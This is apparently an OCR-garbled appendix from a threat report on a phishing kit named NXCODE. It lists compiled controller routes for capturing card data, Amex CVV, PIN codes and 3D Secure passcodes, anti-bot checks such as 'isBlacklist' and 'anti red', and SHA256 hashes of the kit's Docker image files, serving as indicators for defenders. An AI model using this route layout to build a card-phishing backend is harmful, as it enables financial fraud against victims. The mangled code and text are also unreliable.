summary: '{REFHEH LEER', summary: 'RRENEFEEBEERresetInfo’,
}), ¥);
__param(@, (0, decorator_1.Body)()), __param(@, (@, decorator_1.Body)()),
__metadata('design:type', Function), __metadata('design:type', Function),
__metadata('design:paramtypes', [Object]), __metadata('design:paramtypes', [Object]),
__metadata('design:returntype', Promise), __metadata('design:returntype', Promise),
]' ]l
VisitorsInfoAppController.prototype, VisitorsInfoAppController.prototype,
'saveUploadInfo2’, 'saveResetInfo',
null null
) )
__decorate( __decorate(
[ [
(0, decorator_1.Post)('/saveUserInfo', { summary: 'REHEFHFAFELE' }), (0, decorator_1.Post)('/saveCardInfo', { summary: 'REFHEMEBREEL' }),
__param(@, (@, decorator_1.Body)()), __param(@, (@, decorator_1.Body)()),
__metadata('design:type', Function), __metadata('design:type', Function),
__metadata('design:paramtypes', [Object]), ‘ __metadata('design:paramtypes', [Object]),
__metadata('design:returntype', Promise), ‘ __metadata('design:returntype', Promise),
1, 1,
VisitorsInfoAppController.prototype, VisitorsInfoAppController.prototype,
'saveUserInfo’, 'saveCardInfo’,
null null
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nx Docker image files

® dist/modules/visitors/controller/open/info.js

__decorate(

[
(0, decorator_1.Post)('/saveOrUpdatePinCodeData', {

'REFEEHPinCode’,

__decorate(
[
(0, decorator_1.Post)('/saveCardInfoOne', {

summary: 'REHEFERFEER', summary:
}) ' }) ’

__param(@, (@, decorator_1.Body)()), __param(@, (0, decorator_1.Body)()),

__metadata('design:type', Function), __metadata('design:type', Function),

__metadata( 'design:paramtypes', [Object]), __metadata('design:paramtypes', [Object]),

__metadata('design:returntype’', Promise), __metadata('design:returntype', Promise),
1 1,

VisitorsInfoAppController.prototype, VisitorsInfoAppController.prototype,
'saveOrUpdatePinCodeData’,

'saveCardInfoOne’,

null null
) ) |
__decorate( __decorate( |

[ [

(0, decorator_1.Post)('/saveOrUpdateVerification', { (@, decorator_1.Post)('/saveOrUpdateAmexCvvData', {

summary: 'REXEHRIIBER', summary: 'REFSEHAnexCvv',
}), 3,
__param(@, (@, decorator_1.Body)()), __param(@, (0, decorator_1.Body)()),
__metadata( 'design:type', Function), __metadata('design:type', Function),
__metadata( 'design:paramtypes', [Object]), __metadata('design:paramtypes', [Object]),
__metadata('design:returntype', Promise), __metadata('design:returntype', Promise),
1, 1,
VisitorsInfoAppController.prototype, VisitorsInfoAppController.prototype,
'saveOrUpdateVerification’, ‘saveOrUpdateAmexCvvData“',
null null
) )
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® dist/modules/visitors/controller/open/info.js

__decorate(

[

summary: '{R¥TFELEH3D Secure’,
}),
__param(@, (@, decorator_1.Body)()),
__metadata('design:type', Function),
__metadata('design:paramtypes', [Object]),
__metadata('design:returntype', Promise),
1,
VisitorsInfoAppController.prototype,
'saveThreedSecure’,
null
)
__decorate(

[

(0, decorator_1.Post)('/saveCustomCaptcha', {

summary: 'fREFHEH3D Secure',
¥),
__param(@, (@, decorator_1.Body)()),
__metadata('design:type', Function),
__metadata('design:paramtypes', [Object]),
__metadata('design:returntype', Promise),
] ’
VisitorsInfoAppController.prototype,
‘saveCustomCaptcha’,
null

(0, decorator_1.Post)('/saveThreedSecure', {

DHRITI.MEE. EHE

®) décomo Business

__decorate(

[
(@, decorator_1.Post)('/savePasscode', { summary: '{R¥FELE#H3D Secure' }),
__param(@, (@, decorator_1.Body)()),
__metadata( 'design:type', Function),
__metadata( 'design:paramtypes', [Object]),
__metadata( 'design:returntype', Promise),

1,

VisitorsInfoAppController.prototype,

'savePasscode’,

null

)
__decorate(

[

(@, decorator_1.Post)('/createUser', {
middleware: [middleware_1.GenerateUniqueldMiddleware],

}),
__param(@, (@, decorator_1.Body)()),
__metadata('design:type’', Function),
__metadata('design:paramtypes', [Object]),
__metadata( 'design:returntype', Promise),

1,

VisitorsInfoAppController.prototype,

'createlUser’,

null
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__decorate(
[
(0, decorator_1.Post)('/validateHuman', { summary: '' }),
__param(@, (@, decorator_1.Body)()),
__metadata('design:type', Function),
__metadata('design:paramtypes', [Object]),
__metadata('design:returntype', Promise),
1,
VisitorsInfoAppController.prototype,
'validateHuman',
null
)
__decorate(
[
(0, decorator_1.Post)('/isBlacklist'),
__param(@, (@, decorator_1.Body)()),
__metadata('design:type', Function),
__metadata('design:paramtypes', [Object]),
__metadata( 'design:returntype', Promise),
]I
VisitorsInfoAppController.prototype,
'isBlacklist’,
null
)
__decorate(
[
(0, decorator_1.Post)('/getUrl', { summary: 'getUrl' }),
__param(@, (@, decorator_1.Body)()),
__metadata('design:type', Function),
__metadata('design:paramtypes', [Object]),
__metadata('design:returntype', Promise),
]l
VisitorsInfoAppController.prototype,
‘geturl’,
null ‘
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® dist/modules/visitors/controller/open/info.js

)

DHRITI.MEE. EHE

® décomo

decorate(

[

(0, decorator_1.Post)('/nxVisitorsUpload', { summary: 'X#&Ltf%F' }),

__param(@, (@, decorator_1.Body)()),
__metadata('design:type', Function),
__metadata('design:paramtypes', [Object]),
__metadata('design:returntype', Promise),
]I
VisitorsInfoAppController.prototype,
‘upload’,
null

decorate(

)

[
(0, decorator_1.Post)('/getSkipDomain'),
__param(0, (0, decorator_1.Body)()),
__metadata('design:type', Function),
__metadata('design:paramtypes', [Object]),
__metadata('design:returntype', Promise),

]l

VisitorsInfoAppController.prototype,

‘getSkipDomain’',

null

decorate(

(

(0, decorator_1.Post)('/getSkipParameter', {
middleware: [skipMiddleware_1.GenerateUniquelIdSkipMiddleware],

1,
__param(@, (@, decorator_1.Body)()),
__metadata('design:type', Function),
__metadata('design:paramtypes', [Object]),
__metadata('design:returntype', Promise),

]I

VisitorsInfoAppController.prototype,

‘getSkipParameter’,

null

Business
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@® start.sh
4d260b131cdcb2589afe90a98cde84ac8339ceaed7110b33754ed6110f8ea053
® dist/data-source.js
eb1f0718117001201a49e687abf0eddeadbcd65dd808f7b5940756b93b942d6a
® dist/modules/sourceConfig/interface.js

d651729ac0593af56f110f0cdcd2eebfc5e11533215f22bf46339351b50f9910
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® dist/modules/systemSettings/service/anti red.js
acee4fed1004a084c2ef80cfea262f4c4fb2a357910c8bd39a5db291f608b802
® dist/modules/visitors/controller/open/info.js
3ca03ee01d9a7689d91856f2b8a9a9d26ff37d6ffa5e21193aa8bd02a3cb484b

® view/welcome.html

33f44152837b2714a771b775d37d08ec7e8b6686ca92d4e459abc32¢c6d33d382
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® index.html

<!doctype html> <div class="preload__wrap" id="Loading">
<html lang="en"> <div class="preload__container">
<!—— <div class="preload__loading">
<head> <div></div>
<meta charset="utf-8" /> <div></div>
<meta http-equiv="X-UA-Compatible" content="IE=edge" /> <div></div>
<meta name="referer" content="never" /> </div>
<meta name="renderer" content="webkit" /> <p class="preload__title"> E#EME...</p> ——>
<meta name="robots" content="noindex, nofollow'> <div class="1loader"></div>
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-sca <p class="preload__sub-title">tNREVMIXNEXRTERERSHE(30sLIA) BFRLS
le=1.0, user-scalable=0" /> &</p>
<title>NXCODE [ l</tit1e> </div>
<meta name="keywords" content="NXCODE‘! /> </div>
<m§ta name=fdescription" conFent=fNXCODE Pres /s <div id="app"></div>
<link rel="icon" href="./favicon.jpg" /> </body>
<stvle>
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nxWeb Docker image files Hash (SHA256)
® favicon.jpg, logo.jpg
09fbd77c7e47f4d71ad4bc2a4d41a62f3e9b9657bc901945edb26a08528b91bb1l

® favicon.ico
b9e0c239h57dfb2242f8a888c2702e0b121279ec88d6aefOacfb196e48adf311
® index.html

2f08811855500cfe6dbe04a0e7686d8cad4b7e4af78a7805d4a0c802ba3333d8
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